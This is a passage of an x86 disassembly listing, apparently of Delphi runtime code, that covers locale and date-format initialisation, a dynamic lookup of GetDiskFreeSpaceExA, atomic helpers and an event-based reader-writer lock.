--------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000BDA0 proc near ; CODE XREF: sub_4000BE64+1Ep push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx push esi push edi mov esi, offset dword_4001E8C8 mov dword ptr [esi], 409h mov dword ptr [esi+4], 9 mov dword ptr [esi+8], 1 call sub_400065C8 ; GetThreadLocale test eax, eax jz short loc_4000BDCD mov [esi], eax loc_4000BDCD: ; CODE XREF: sub_4000BDA0+29j test ax, ax jz short loc_4000BDE8 mov edx, eax and dx, 3FFh movzx edx, dx mov [esi+4], edx movzx eax, ax shr eax, 0Ah mov [esi+8], eax loc_4000BDE8: ; CODE XREF: sub_4000BDA0+30j push esi mov esi, offset dword_4000BE44 mov edi, offset dword_4001A82C mov ecx, 8 rep movsd pop esi cmp dword_4001A7E8, 4 jle short loc_4000BE13 cmp dword_4001A7E4, 2 jnz short loc_4000BE13 mov byte ptr [esi+0Dh], 1 jmp short loc_4000BE22 ; --------------------------------------------------------------------------- loc_4000BE13: ; CODE XREF: sub_4000BDA0+62j ; sub_4000BDA0+6Bj push 4Ah call sub_40006728 ; GetSystemMetrics test eax, eax setnz al mov [esi+0Dh], al loc_4000BE22: ; CODE XREF: sub_4000BDA0+71j push 2Ah call sub_40006728 ; GetSystemMetrics test eax, eax setnz bl mov [esi+0Ch], bl test bl, bl jz short loc_4000BE3C push ebp call sub_4000BD44 pop ecx loc_4000BE3C: ; CODE XREF: sub_4000BDA0+93j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4000BDA0 endp ; --------------------------------------------------------------------------- align 4 dword_4000BE44 dd 8 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000BE64 proc near ; CODE XREF: sub_400190AC+5Fp var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov ecx, 8 loc_4000BE6C: ; CODE XREF: sub_4000BE64+Dj push 0 push 0 dec ecx jnz short loc_4000BE6C push ebx xor eax, eax push ebp push offset loc_4000C12F push dword ptr fs:[eax] mov fs:[eax], esp call sub_4000BDA0 call sub_4000A91C cmp byte ptr ds:dword_4001E8D4, 0 jz short loc_4000BE9A call sub_4000AAF4 loc_4000BE9A: ; CODE XREF: sub_4000BE64+2Fj call sub_400065C8 ; GetThreadLocale mov ebx, eax lea eax, [ebp+var_10] push eax xor ecx, ecx mov edx, 14h mov eax, ebx call sub_4000A868 mov edx, [ebp+var_10] mov eax, offset dword_4001E808 call sub_400048D8 lea eax, [ebp+var_14] push eax mov ecx, offset dword_4000C144 mov edx, 1Bh mov eax, ebx call sub_4000A868 mov eax, [ebp+var_14] xor edx, edx call sub_40007DD4 mov ds:byte_4001E80C, al lea eax, [ebp+var_18] push eax mov ecx, offset dword_4000C144 mov edx, 1Ch mov eax, ebx call sub_4000A868 mov eax, [ebp+var_18] xor edx, edx call sub_40007DD4 mov ds:byte_4001E80D, al mov cl, 2Ch mov edx, 0Fh mov eax, ebx call sub_4000A8B4 mov ds:byte_4001E80E, al mov cl, 2Eh mov edx, 0Eh mov eax, ebx call sub_4000A8B4 mov ds:byte_4001E80F, al lea eax, [ebp+var_1C] push eax mov ecx, offset dword_4000C144 mov edx, 19h mov eax, ebx call sub_4000A868 mov eax, [ebp+var_1C] xor edx, edx call sub_40007DD4 mov ds:byte_4001E810, al mov cl, 2Fh mov edx, 1Dh mov eax, ebx call sub_4000A8B4 mov ds:byte_4001E811, al lea eax, [ebp+var_24] push eax mov ecx, offset dword_4000C150 mov edx, 1Fh mov eax, ebx call sub_4000A868 mov eax, [ebp+var_24] lea edx, [ebp+var_20] call sub_4000ABA4 mov edx, [ebp+var_20] mov eax, offset dword_4001E814 call sub_400048D8 lea eax, [ebp+var_2C] push eax mov ecx, offset dword_4000C160 mov edx, 20h mov eax, ebx call sub_4000A868 mov eax, [ebp+var_2C] lea edx, [ebp+var_28] call sub_4000ABA4 mov edx, [ebp+var_28] mov eax, offset dword_4001E818 call sub_400048D8 mov cl, 3Ah mov edx, 1Eh mov eax, ebx call sub_4000A8B4 mov ds:byte_4001E81C, al lea eax, [ebp+var_30] push eax mov ecx, offset dword_4000C178 mov edx, 28h mov eax, ebx call sub_4000A868 mov edx, [ebp+var_30] mov eax, offset dword_4001E820 call sub_400048D8 lea eax, [ebp+var_34] push eax mov ecx, offset dword_4000C184 mov edx, 29h mov eax, ebx call sub_4000A868 mov edx, [ebp+var_34] mov eax, offset dword_4001E824 call sub_400048D8 lea eax, [ebp+var_8] call sub_40004884 lea eax, [ebp+var_C] call sub_40004884 lea eax, [ebp+var_38] push eax mov ecx, offset dword_4000C144 mov edx, 25h mov eax, ebx call sub_4000A868 mov eax, [ebp+var_38] xor edx, edx call sub_40007DD4 test eax, eax jnz short loc_4000C058 lea eax, [ebp+var_4] mov edx, offset dword_4000C190 call sub_4000491C jmp short loc_4000C065 ; --------------------------------------------------------------------------- loc_4000C058: ; CODE XREF: sub_4000BE64+1E3j lea eax, [ebp+var_4] mov edx, offset dword_4000C19C call sub_4000491C loc_4000C065: ; CODE XREF: sub_4000BE64+1F2j lea eax, [ebp+var_3C] push eax mov ecx, offset dword_4000C144 mov edx, 23h mov eax, ebx call sub_4000A868 mov eax, [ebp+var_3C] xor edx, edx call sub_40007DD4 test eax, eax jnz short loc_4000C0C7 lea eax, [ebp+var_40] push eax mov ecx, offset dword_4000C144 mov edx, 1005h mov eax, ebx call sub_4000A868 mov eax, [ebp+var_40] xor edx, edx call sub_40007DD4 test eax, eax jnz short loc_4000C0BA lea eax, [ebp+var_C] mov edx, offset dword_4000C1A8 call sub_4000491C jmp short loc_4000C0C7 ; --------------------------------------------------------------------------- loc_4000C0BA: ; CODE XREF: sub_4000BE64+245j lea eax, [ebp+var_8] mov edx, offset dword_4000C1B8 call sub_4000491C loc_4000C0C7: ; CODE XREF: sub_4000BE64+222j ; sub_4000BE64+254j push [ebp+var_8] push [ebp+var_4] push offset dword_4000C1C8 push [ebp+var_C] mov eax, offset dword_4001E828 mov edx, 4 call sub_40004C08 push [ebp+var_8] push [ebp+var_4] push offset dword_4000C1D4 push [ebp+var_C] mov eax, offset dword_4001E82C mov edx, 4 call sub_40004C08 mov cl, 2Ch mov edx, 0Ch mov eax, ebx call sub_4000A8B4 mov byte ptr ds:dword_4001E8D4+2, al xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000C136 loc_4000C121: ; CODE XREF: sub_4000BE64+2D0j lea eax, [ebp+var_40] mov edx, 10h call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_4000C12F: ; DATA XREF: sub_4000BE64+13o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000C121 ; --------------------------------------------------------------------------- loc_4000C136: ; CODE XREF: sub_4000BE64+2CAj ; DATA XREF: sub_4000BE64+2B8o pop ebx mov esp, ebp pop ebp retn sub_4000BE64 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_4000C144 dd 30h, 0FFFFFFFFh, 6 ; sub_4000BE64+84o ... dword_4000C150 dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Chdword_4000C160 dd 6D6D6D6Dh, 202C6420h, 79797979h, 0 dd 0FFFFFFFFh, 2 dword_4000C178 dd 6D61h, 0FFFFFFFFh, 2dword_4000C184 dd 6D70h, 0FFFFFFFFh, 1dword_4000C190 dd 68h, 0FFFFFFFFh, 2dword_4000C19C dd 6868h, 0FFFFFFFFh, 5dword_4000C1A8 dd 504D4120h, 4Dh, 0FFFFFFFFh, 5dword_4000C1B8 dd 4D504D41h, 20h, 0FFFFFFFFh, 3dword_4000C1C8 dd 6D6D3Ah, 0FFFFFFFFh, 6dword_4000C1D4 dd 3A6D6D3Ah, 7373hoff_4000C1DC dd offset dword_4000C1E0 ; DATA XREF: .text:4000C225o dword_4000C1E0 dd 55540E11h, 4874696Eh, 41687361h, 79617272h, 14h, 0 ; DATA XREF: .text:off_4000C1DCo dd 0FFFFFFFFh, 0 dd 73795308h, 6C697455h, 408D73h off_4000C20C dd offset dword_4000C210 ; DATA XREF: sub_4000C230:loc_4000C3EBr dword_4000C210 dd 4D540B0Eh, 6C75646Fh, 666E4965h, 86Fh, 100h ; DATA XREF: .text:off_4000C20Co db 0 dd offset off_4000C1DC db 4, 2 dup(0) align 10h ; =============== S U B R O U T I N E ======================================= sub_4000C230 proc near ; DATA XREF: sub_4000CC50+27o ; sub_400190AC+4Bo var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF4h mov edx, off_4001B074 mov edx, [edx] test edx, edx jz short loc_4000C24E loc_4000C243: ; CODE XREF: sub_4000C230+1Cj cmp eax, [edx+4] jz short loc_4000C24E mov edx, [edx] test edx, edx jnz short loc_4000C243 loc_4000C24E: ; CODE XREF: sub_4000C230+11j ; sub_4000C230+16j mov [esp+1Ch+var_1C], edx cmp [esp+1Ch+var_1C], 0 jz loc_4000C400 mov eax, [esp+1Ch+var_1C] cmp dword ptr [eax+14h], 0 jz loc_4000C400 mov eax, [esp+1Ch+var_1C] mov ebx, [eax+14h] cmp byte ptr [ebx], 0 jz short loc_4000C27D mov [esp+1Ch+var_18], offset dword_4001EA24 jmp short loc_4000C285 ; --------------------------------------------------------------------------- loc_4000C27D: ; CODE XREF: sub_4000C230+41j mov [esp+1Ch+var_18], offset dword_4001EE24 loc_4000C285: ; CODE XREF: sub_4000C230+4Bj mov eax, [ebx+4] call sub_40005974 mov edi, eax test edi, edi jl loc_4000C3EB inc edi xor esi, esi loc_4000C29A: ; CODE XREF: sub_4000C230+1B5j lea eax, [esi+esi*4] mov edx, [ebx+4] cmp dword ptr [edx+eax*4+4], 0 jz short loc_4000C2BE mov edx, [ebx+4] mov eax, [edx+eax*4] lea edx, [esi+esi*4] mov ecx, [ebx+4] mov edx, [ecx+edx*4+4] mov [edx], eax jmp loc_4000C3C4 ; --------------------------------------------------------------------------- loc_4000C2BE: ; CODE XREF: sub_4000C230+75j mov edx, [ebx+4] cmp dword ptr [edx+eax*4+0Ch], 0 jz loc_4000C3C4 lea eax, [esi+esi*4] mov edx, [ebx+4] mov eax, [edx+eax*4+0Ch] xor edx, edx mov [esp+1Ch+var_14], edx loc_4000C2DC: ; CODE XREF: sub_4000C230+153j movzx edx, byte ptr [eax] test dl, dl jz loc_4000C388 mov ecx, [esp+1Ch+var_14] add ecx, ecx add ecx, ecx mov ebp, [esp+1Ch+var_14] shr ebp, 1Eh or ecx, ebp movzx edx, dl movzx edx, ds:byte_4001E924[edx] xor ecx, edx mov [esp+1Ch+var_14], ecx cmp byte ptr [eax+1], 0 jz short loc_4000C388 mov edx, [esp+1Ch+var_14] add edx, edx add edx, edx mov ecx, [esp+1Ch+var_14] shr ecx, 1Eh or edx, ecx movzx ecx, byte ptr [eax+1] movzx ecx, ds:byte_4001E924[ecx] xor edx, ecx mov [esp+1Ch+var_14], edx cmp byte ptr [eax+2], 0 jz short loc_4000C388 mov edx, [esp+1Ch+var_14] add edx, edx add edx, edx mov ecx, [esp+1Ch+var_14] shr ecx, 1Eh or edx, ecx movzx ecx, byte ptr [eax+2] movzx ecx, ds:byte_4001E924[ecx] xor edx, ecx mov [esp+1Ch+var_14], edx cmp byte ptr [eax+3], 0 jz short loc_4000C388 mov edx, [esp+1Ch+var_14] add edx, edx add edx, edx mov ecx, [esp+1Ch+var_14] shr ecx, 1Eh or edx, ecx movzx ecx, byte ptr [eax+3] movzx ecx, ds:byte_4001E924[ecx] xor edx, ecx mov [esp+1Ch+var_14], edx add eax, 4 jmp loc_4000C2DC ; --------------------------------------------------------------------------- loc_4000C388: ; CODE XREF: sub_4000C230+B1j ; sub_4000C230+DCj ... movzx eax, byte ptr [esp+1Ch+var_14] xor al, byte ptr [esp+1Ch+var_14+1] xor al, byte ptr [esp+1Ch+var_14+2] xor al, byte ptr [esp+1Ch+var_14+3] movzx edx, al mov ecx, [esp+1Ch+var_18] mov edx, [ecx+edx*4] lea ecx, [esi+esi*4] mov ebp, [ebx+4] lea ecx, [ebp+ecx*4+0] cmp edx, ecx jnz short loc_4000C3C4 lea edx, [esi+esi*4] mov ecx, [ebx+4] mov edx, [ecx+edx*4] movzx eax, al mov ecx, [esp+1Ch+var_18] mov [ecx+eax*4], edx loc_4000C3C4: ; CODE XREF: sub_4000C230+89j ; sub_4000C230+96j ... lea eax, [esi+esi*4] mov edx, [ebx+4] cmp dword ptr [edx+eax*4], 0 jz short loc_4000C3E3 mov edx, [ebx+4] mov eax, [edx+eax*4+4] lea edx, [esi+esi*4] mov ecx, [ebx+4] mov edx, [ecx+edx*4] mov [edx+4], eax loc_4000C3E3: ; CODE XREF: sub_4000C230+19Ej inc esi dec edi jnz loc_4000C29A loc_4000C3EB: ; CODE XREF: sub_4000C230+61j mov edx, ds:off_4000C20C mov eax, ebx call sub_40005634 mov eax, [esp+1Ch+var_1C] xor edx, edx mov [eax+14h], edx loc_4000C400: ; CODE XREF: sub_4000C230+25j ; sub_4000C230+32j add esp, 0Ch pop ebp pop edi pop esi pop ebx retn sub_4000C230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4000C408 proc near ; CODE XREF: .text:4000C8EAp jmp ds:dword_4002463C sub_4000C408 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000C410 proc near ; CODE XREF: sub_40013E14+28p call sub_40006580 ; RtlGetLastWin32Error call sub_4000C41C retn sub_4000C410 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000C41C proc near ; CODE XREF: sub_4000C410+5p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh push ebx xor edx, edx mov [ebp+var_14], edx mov ebx, eax xor eax, eax push ebp push offset loc_4000C4A7 push dword ptr fs:[eax] mov fs:[eax], esp test ebx, ebx jz short loc_4000C473 mov [ebp+var_10], ebx mov [ebp+var_C], 0 lea edx, [ebp+var_14] mov eax, ebx call sub_4000A81C mov eax, [ebp+var_14] mov [ebp+var_8], eax mov [ebp+var_4], 0Bh lea eax, [ebp+var_10] push eax push 1 mov ecx, off_4001B030 mov dl, 1 mov eax, ds:off_40007720 call sub_4000B128 mov edx, eax jmp short loc_4000C487 ; --------------------------------------------------------------------------- loc_4000C473: ; CODE XREF: sub_4000C41C+1Ej mov ecx, off_4001B0A4 mov dl, 1 mov eax, ds:off_40007720 call sub_4000B0EC mov edx, eax loc_4000C487: ; CODE XREF: sub_4000C41C+55j mov [edx+0Ch], ebx mov eax, edx call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4000C4AE loc_4000C49E: ; CODE XREF: sub_4000C41C+90j lea eax, [ebp+var_14] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4000C4A7: ; DATA XREF: sub_4000C41C+11o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4000C49E ; --------------------------------------------------------------------------- loc_4000C4AE: ; CODE XREF: sub_4000C41C+8Aj ; DATA XREF: sub_4000C41C+7Do pop ebx mov esp, ebp pop ebp retn sub_4000C41C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C4B4 proc near ; CODE XREF: sub_4000CC50+31p push ebx push esi mov esi, offset dword_4001AA04 jmp short loc_4000C4CF ; --------------------------------------------------------------------------- loc_4000C4BD: ; CODE XREF: sub_4000C4B4+1Ej mov ebx, [esi] mov eax, [ebx] mov [esi], eax mov edx, 8 mov eax, ebx call sub_40002C3C loc_4000C4CF: ; CODE XREF: sub_4000C4B4+7j cmp dword ptr [esi], 0 jnz short loc_4000C4BD pop esi pop ebx retn sub_4000C4B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C4D8 proc near ; CODE XREF: sub_400190AC+5Ap push ebx push offset dword_4000C510 call sub_400065A0 ; GetModuleHandleA mov ebx, eax test ebx, ebx jz short loc_4000C4F9 push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push ebx call sub_400065A8 ; GetProcAddress mov dword_4001A850, eax loc_4000C4F9: ; CODE XREF: sub_4000C4D8+Fj cmp dword_4001A850, 0 jnz short loc_4000C50C mov eax, offset sub_400080E8 mov dword_4001A850, eax loc_4000C50C: ; CODE XREF: sub_4000C4D8+28j pop ebx retn sub_4000C4D8 endp ; --------------------------------------------------------------------------- align 10h dword_4000C510 dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4000C4D8+11o ; =============== S U B R O U T I N E ======================================= sub_4000C534 proc near ; CODE XREF: sub_4000C79C+44p ; sub_4000C79C+92p ... mov edx, 1 xchg eax, edx lock xadd [edx], eax inc eax retn sub_4000C534 endp ; =============== S U B R O U T I N E ======================================= sub_4000C540 proc near ; CODE XREF: sub_4000C79C+87p ; .text:4000C8F9p mov edx, 0FFFFFFFFh xchg eax, edx lock xadd [edx], eax dec eax retn sub_4000C540 endp ; =============== S U B R O U T I N E ======================================= sub_4000C54C proc near ; CODE XREF: sub_4000C5D0+62p ; sub_4000C658+1Ep xchg edx, [eax] mov eax, edx retn sub_4000C54C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C554 proc near ; CODE XREF: sub_4000C79C+53p ; sub_4000C79C+6Dp ... xchg eax, edx lock xadd [edx], eax retn sub_4000C554 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C55C proc near ; DATA XREF: .text:40007874o var_14 = byte ptr -14h push ebx push esi push edi push ebp push ecx call sub_40003FD8 mov [esp+14h+var_14], dl mov ebp, eax xor edi, edi loc_4000C56D: ; CODE XREF: sub_4000C55C+32j mov ebx, [ebp+edi*4+4] xor eax, eax mov [ebp+edi*4+4], eax test ebx, ebx jz short loc_4000C58A loc_4000C57B: ; CODE XREF: sub_4000C55C+2Cj mov esi, ebx mov ebx, [ebx] mov eax, esi call sub_40002C3C test ebx, ebx jnz short loc_4000C57B loc_4000C58A: ; CODE XREF: sub_4000C55C+1Dj inc edi cmp edi, 10h jnz short loc_4000C56D movzx edx, [esp+14h+var_14] and dl, 0FCh mov eax, ebp call sub_40003CD8 cmp [esp+14h+var_14], 0 jle short loc_4000C5AB mov eax, ebp call sub_40003F80 loc_4000C5AB: ; CODE XREF: sub_4000C55C+46j pop edx pop ebp pop edi pop esi pop ebx retn sub_4000C55C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4000C5B4 proc near ; CODE XREF: sub_4000C5D0+Cp ; sub_4000C658+6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx call sub_40006560 ; GetCurrentThreadId mov [ebp+var_2], ax movzx eax, byte ptr [ebp+var_2] xor al, byte ptr [ebp+var_2+1] and al, 0Fh pop ecx pop ebp retn sub_4000C5B4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000C5D0 proc near ; CODE XREF: sub_4000C79C+2Ep ; .text:4000C851p ... var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov [esp+14h+var_14], edx mov edi, eax mov eax, edi call sub_4000C5B4 mov ebx, eax call sub_40006560 ; GetCurrentThreadId mov esi, eax movzx eax, bl mov ebp, [edi+eax*4+4] jmp short loc_4000C5F6 ; --------------------------------------------------------------------------- loc_4000C5F3: ; CODE XREF: sub_4000C5D0+2Dj mov ebp, [ebp+0] loc_4000C5F6: ; CODE XREF: sub_4000C5D0+21j test ebp, ebp jz short loc_4000C5FF cmp esi, [ebp+4] jnz short loc_4000C5F3 loc_4000C5FF: ; CODE XREF: sub_4000C5D0+28j test ebp, ebp jnz short loc_4000C63A mov eax, edi call sub_4000C658 mov ebp, eax test ebp, ebp jnz short loc_4000C63A mov eax, 10h call loc_40002C08 mov ebp, eax mov [ebp+4], esi mov dword ptr [ebp+8], 7FFFFFFFh mov [ebp+0], ebp movzx eax, bl lea eax, [edi+eax*4+4] mov edx, ebp call sub_4000C54C mov [ebp+0], eax loc_4000C63A: ; CODE XREF: sub_4000C5D0+31j ; sub_4000C5D0+3Ej mov eax, [esp+14h+var_14] mov [eax], ebp pop edx pop ebp pop edi pop esi pop ebx retn sub_4000C5D0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C648 proc near ; CODE XREF: .text:4000C88Dp ; .text:4000C92Ap mov eax, [edx] xor ecx, ecx mov [eax+4], ecx mov eax, [edx] xor edx, edx mov [eax+8], edx retn sub_4000C648 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C658 proc near ; CODE XREF: sub_4000C5D0+35p push ebx push esi mov ebx, eax mov eax, ebx call sub_4000C5B4 movzx eax, al mov ebx, [ebx+eax*4+4] test ebx, ebx jz short loc_4000C695 loc_4000C66E: ; CODE XREF: sub_4000C658+3Bj lea eax, [ebx+8] mov edx, 7FFFFFFFh call sub_4000C54C mov esi, eax cmp esi, 7FFFFFFFh jz short loc_4000C68F call sub_40006560 ; GetCurrentThreadId mov [ebx+4], eax jmp short loc_4000C695 ; --------------------------------------------------------------------------- loc_4000C68F: ; CODE XREF: sub_4000C658+2Bj mov ebx, [ebx] test ebx, ebx jnz short loc_4000C66E loc_4000C695: ; CODE XREF: sub_4000C658+14j ; sub_4000C658+35j mov eax, ebx pop esi pop ebx retn sub_4000C658 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C69C proc near ; CODE XREF: sub_400191F8+30p push ebx push esi test dl, dl jz short loc_4000C6AA add esp, 0FFFFFFF0h call sub_40003F30 loc_4000C6AA: ; CODE XREF: sub_4000C69C+4j mov ebx, edx mov esi, eax xor edx, edx mov eax, esi call sub_40003CB8 mov dword ptr [esi+0Ch], 0FFFFh push 0 push 0FFFFFFFFh push 0FFFFFFFFh push 0 call sub_40006508 ; CreateEventA mov [esi+10h], eax push 0 push 0 push 0 push 0 call sub_40006508 ; CreateEventA mov [esi+14h], eax mov dword ptr [esi+18h], 0FFFFFFFFh mov dl, 1 mov eax, ds:off_4000782C call sub_40003CB8 mov [esi+20h], eax mov eax, esi test bl, bl jz short loc_4000C709 call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4000C709: ; CODE XREF: sub_4000C69C+5Cj mov eax, esi pop esi pop ebx retn sub_4000C69C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000C710 proc near ; DATA XREF: .text:40007950o push ebx push esi call sub_40003FD8 mov ebx, edx mov esi, eax mov eax, esi call sub_4000C79C mov edx, ebx and dl, 0FCh mov eax, esi call sub_40003CD8 mov eax, [esi+10h] push eax call sub_400064F0 ; CloseHandle mov eax, [esi+14h] push eax call sub_400064F0 ; CloseHandle mov eax, [esi+20h] call sub_40003CE8 test bl, bl jle short loc_4000C753 mov eax, esi call sub_40003F80 loc_4000C753: ; CODE XREF: sub_4000C710+3Aj pop esi pop ebx retn sub_4000C710 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C758 proc near ; CODE XREF: sub_4000C79C+1Dp ; sub_4000C79C+7Bp mov eax, [eax+10h] push eax call sub_40006620 ; ResetEvent retn sub_4000C758 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C764 proc near ; CODE XREF: .text:4000C87Ap mov eax, [eax+10h] push eax call sub_40006628 ; SetEvent retn sub_4000C764 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4000C770 proc near ; CODE XREF: .text:4000C873p ; .text:4000C8E3p ... mov eax, [eax+14h] push eax call sub_40006628 ; SetEvent retn sub_4000C770 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C77C proc near ; CODE XREF: .text:4000C8C8p ; .text:4000C8F1p mov edx, [eax+18h] push edx mov eax, [eax+10h] push eax call sub_40006650 ; WaitForSingleObject retn sub_4000C77C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C78C proc near ; CODE XREF: sub_4000C79C+60p mov edx, [eax+18h] push edx mov eax, [eax+14h] push eax call sub_40006650 ; WaitForSingleObject retn sub_4000C78C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4000C79C proc near ; CODE XREF: sub_4000C710+Dp var_18 = dword ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF8h mov ebp, eax mov bl, 1 call sub_40006560 ; GetCurrentThreadId mov edi, eax cmp edi, [ebp+24h] jz loc_4000C83B mov eax, ebp call sub_4000C758 mov eax, [ebp+28h] mov [esp+18h+var_14], eax mov edx, esp mov eax, [ebp+20h] call sub_4000C5D0 mov eax, [esp+18h+var_18] cmp dword ptr [eax+0Ch], 0 setnbe bl test bl, bl jz short loc_4000C801 lea eax, [ebp+0Ch] call sub_4000C534 jmp short loc_4000C801 ; --------------------------------------------------------------------------- loc_4000C7E7: ; CODE XREF: sub_4000C79C+77j lea eax, [ebp+0Ch] mov edx, 0FFFFh call sub_4000C554 mov esi, eax test esi, esi jz short loc_4000C801 mov eax, ebp call sub_4000C78C loc_4000C801: ; CODE XREF: sub_4000C79C+3Fj ; sub_4000C79C+49j ... lea eax, [ebp+0Ch] mov edx, 0FFFF0001h call sub_4000C554 cmp eax, 0FFFFh jnz short loc_4000C7E7 mov eax, ebp call sub_4000C758 test bl, bl jz short loc_4000C828 lea eax, [ebp+0Ch] call sub_4000C540 loc_4000C828: ; CODE XREF: sub_4000C79C+82j mov [ebp+24h], edi lea eax, [ebp+28h] call sub_4000C534 dec eax cmp eax, [esp+18h+var_14] setz bl loc_4000C83B: ; CODE XREF: sub_4000C79C+15j inc dword ptr [ebp+1Ch] mov eax, ebx pop ecx pop edx pop ebp pop edi pop esi pop ebx retn sub_4000C79C endp ; --------------------------------------------------------------------------- align 4 push ebx push ecx mov ebx, eax mov edx, esp mov eax, [ebx+20h] call sub_4000C5D0 dec dword ptr [ebx+1Ch] cmp dword ptr [ebx+1Ch], 0 jnz short loc_4000C87F xor eax, eax mov [ebx+24h], eax lea eax, [ebx+0Ch] mov edx, 0FFFFh call sub_4000C554 mov eax, ebx call sub_4000C770 mov eax, ebx call sub_4000C764 loc_4000C87F: ; CODE XREF: .text:4000C85Dj mov eax, [esp] cmp dword ptr [eax+0Ch], 0 jnz short loc_4000C892 mov edx, esp mov eax, [ebx+20h] call sub_4000C648 loc_4000C892: ; CODE XREF: .text:4000C886j pop edx pop ebx retn ; --------------------------------------------------------------------------- align 4 push ebx push esi push edi push ecx mov edi, eax mov edx, esp mov eax, [edi+20h] call sub_4000C5D0 mov eax, [esp] inc dword ptr [eax+0Ch] mov eax, [esp] cmp dword ptr [eax+0Ch], 1 setnbe bl call sub_40006560 ; GetCurrentThreadId cmp eax, [edi+24h] jz short loc_4000C902 test bl, bl jnz short loc_4000C902 mov eax, edi call sub_4000C77C jmp short loc_4000C8F6 ; --------------------------------------------------------------------------- loc_4000C8CF: ; CODE XREF: .text:4000C900j lea eax, [edi+0Ch] call sub_4000C534 mov esi, eax cmp esi, 0FFFFh jnz short loc_4000C8E8 mov eax, edi call sub_4000C770 loc_4000C8E8: ; CODE XREF: .text:4000C8DFj push 0 call sub_4000C408 ; Sleep mov eax, edi call sub_4000C77C loc_4000C8F6: ; CODE XREF: .text:4000C8CDj lea eax, [edi+0Ch] call sub_4000C540 test eax, eax jle short loc_4000C8CF loc_4000C902: ; CODE XREF: .text:4000C8C0j ; .text:4000C8C4j pop edx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- align 4 push ebx push ecx mov ebx, eax mov edx, esp mov eax, [ebx+20h] call sub_4000C5D0 mov eax, [esp] dec dword ptr [eax+0Ch] mov eax, [esp] cmp dword ptr [eax+0Ch], 0 jnz short loc_4000C96D mov edx, esp mov eax, [ebx+20h] call sub_4000C648 call sub_40006560 ; GetCurrentThreadId cmp eax, [ebx+24h] jz short loc_4000C96D lea eax, [ebx+0Ch] call sub_4000C534 mov ecx, eax cmp ecx, 0FFFFh jnz short loc_4000C954 mov eax, ebx call sub_4000C770 jmp short loc_4000C96D ; --------------------------------------------------------------------------- loc_4000C954: ; CODE XREF: .text:4000C949j test ecx, ecx jg short loc_4000C96D mov eax, ecx mov ecx, 0FFFFh cdq idiv ecx test edx, edx jnz short loc_4000C96D mov eax, ebx call sub_4000C770 loc_4000C96D: ; CODE XREF: .text:4000C923j ; .text:4000C937j ... pop edx pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_4000C970 proc near ; CODE XREF: sub_4000CC50+22p ; sub_40013ED4+40p ... mov edx, [eax] xor ecx, ecx mov [eax], ecx mov eax, edx call sub_40003CE8 retn sub_4000C970 endp ; --------------------------------------------------------------------------- align 10h dword_4000C980 dd 1Dh dd offset dword_4001AA00 dd offset off_4001B010 dd offset dword_4001A9F8 dd offset off_4001AFA4 dd offset dword_4001A9F0 dd offset 